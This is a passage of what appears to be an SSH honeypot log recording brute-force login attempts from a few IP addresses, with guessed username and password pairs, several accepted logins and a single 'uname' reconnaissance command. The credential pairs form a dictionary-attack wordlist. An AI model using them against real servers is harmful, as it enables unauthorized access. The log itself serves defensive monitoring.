    "FAILED LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:22:52.182550 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pi

Record ID: 372dd34f3126

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "372dd34f3126",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:22:52.182550Z",
  "end_time": "2026-09-29T02:22:54.191687Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "pi",
      "pass": "root"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:22:46.731997 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: liyang

Record ID: d34e016b793a

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "d34e016b793a",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:22:46.731997Z",
  "end_time": "2026-09-29T02:22:48.777473Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "liyang",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:22:41.238083 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: deploy / admin

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: e7433ebf4337

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e7433ebf4337",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:22:41.238083Z",
  "end_time": "2026-09-29T02:22:43.032129Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "deploy",
    "pass": "admin"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 02:22:40.645094 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / P@55word

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 0298c57bd249

Client Version: SSH-2.0-Go

Engagement Duration: 18.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "0298c57bd249",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T02:22:40.645094Z",
  "end_time": "2026-09-29T02:22:58.655471Z",
  "duration": "18.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "P@55word"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:22:35.782426 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 123abc456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 3abef2334f39

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "3abef2334f39",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:22:35.782426Z",
  "end_time": "2026-09-29T02:22:37.172328Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123abc456"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 02:22:31.677977 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: chris

Record ID: c338064e31b8

Client Version: SSH-2.0-Go

Engagement Duration: 16.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "c338064e31b8",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T02:22:31.677977Z",
  "end_time": "2026-09-29T02:22:48.159281Z",
  "duration": "16.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "chris",
      "pass": "chris"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:22:30.342920 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ymy

Record ID: e3ac40a1b161

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e3ac40a1b161",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:22:30.342920Z",
  "end_time": "2026-09-29T02:22:32.180846Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "ymy",
      "pass": "1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:22:25.381477 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: adminuser

Record ID: 7e1f3732fef1

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "7e1f3732fef1",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:22:25.381477Z",
  "end_time": "2026-09-29T02:22:27.141818Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "adminuser",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.126

2026-09-29 02:22:20.974245 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin1

Record ID: f4679bd59704

Client Version: SSH-2.0-Go

Engagement Duration: 11.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "f4679bd59704",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T02:22:20.974245Z",
  "end_time": "2026-09-29T02:22:32.285633Z",
  "duration": "11.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "admin1",
      "pass": "123123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:22:19.991902 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: www

Record ID: 91b09eef5851

Client Version: SSH-2.0-Go

Engagement Duration: 2.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "91b09eef5851",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:22:19.991902Z",
  "end_time": "2026-09-29T02:22:22.641126Z",
  "duration": "2.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "www",
      "pass": "www"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:22:14.853295 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / asdqwe123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 14a4cf3ee65a

Client Version: SSH-2.0-Go

Engagement Duration: 1.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "14a4cf3ee65a",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:22:14.853295Z",
  "end_time": "2026-09-29T02:22:16.389795Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "asdqwe123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:22:09.825291 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / sdfghjkl

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: a4337a284805

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "a4337a284805",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:22:09.825291Z",
  "end_time": "2026-09-29T02:22:11.211837Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "sdfghjkl"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 02:22:09.417971 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: server

Record ID: 53bb011584f7

Client Version: SSH-2.0-Go

Engagement Duration: 11.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "53bb011584f7",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T02:22:09.417971Z",
  "end_time": "2026-09-29T02:22:20.609334Z",
  "duration": "11.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "server",
      "pass": "server"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:22:04.802526 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: mysql / mysql123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 7cf49b9afcb8

Client Version: SSH-2.0-Go

Engagement Duration: 1.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "7cf49b9afcb8",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:22:04.802526Z",
  "end_time": "2026-09-29T02:22:06.371887Z",
  "duration": "1.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "mysql",
    "pass": "mysql123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:21:59.482341 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: web

Record ID: 694be5b2c6f9

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "694be5b2c6f9",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:21:59.482341Z",
  "end_time": "2026-09-29T02:22:01.343738Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "web",
      "pass": "web123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.126

2026-09-29 02:21:56.749711 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gns3

Record ID: e6929d4b0177

Client Version: SSH-2.0-Go

Engagement Duration: 11.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e6929d4b0177",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T02:21:56.749711Z",
  "end_time": "2026-09-29T02:22:08.563108Z",
  "duration": "11.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "gns3",
      "pass": "gns3"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:21:54.202849 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / vps12345678

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 3cf5768d6416

Client Version: SSH-2.0-Go

Engagement Duration: 1.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "3cf5768d6416",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:21:54.202849Z",
  "end_time": "2026-09-29T02:21:55.675379Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "vps12345678"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

51.254.103.32

2026-09-29 02:21:50.571251 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: azureuser

Record ID: 6c1ce7a9b26c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "6c1ce7a9b26c",
  "src_ip": "51.254.103.32",
  "start_time": "2026-09-29T02:21:50.571251Z",
  "end_time": "2026-09-29T02:21:52.564895Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "azureuser",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:21:48.541821 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dolphinscheduler

Record ID: b6592d60efa5

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "b6592d60efa5",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:21:48.541821Z",
  "end_time": "2026-09-29T02:21:50.770912Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "dolphinscheduler",
      "pass": "dolphinscheduler"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:21:43.542186 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: lxy

Record ID: e01c3675116a

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e01c3675116a",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:21:43.542186Z",
  "end_time": "2026-09-29T02:21:45.554548Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "lxy",
      "pass": "lxy@123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.126

2026-09-29 02:21:43.232056 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sysupdate

Record ID: cdcda83763a0

Client Version: SSH-2.0-Go

Engagement Duration: 11.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "cdcda83763a0",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T02:21:43.232056Z",
  "end_time": "2026-09-29T02:21:55.126627Z",
  "duration": "11.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "sysupdate",
      "pass": "Password1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

195.178.110.26

2026-09-29 02:21:42.000432 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / !QAZ2wsx

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 4101c9bc1f53

Client Version: SSH-2.0-Go

Engagement Duration: 1.1s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "4101c9bc1f53",
  "src_ip": "195.178.110.26",
  "start_time": "2026-09-29T02:21:42.000432Z",
  "end_time": "2026-09-29T02:21:43.081399Z",
  "duration": "1.1",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "!QAZ2wsx"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:21:37.857981 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: student

Record ID: f78489c086f7

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "f78489c086f7",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:21:37.857981Z",
  "end_time": "2026-09-29T02:21:39.966334Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "student",
      "pass": "student"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}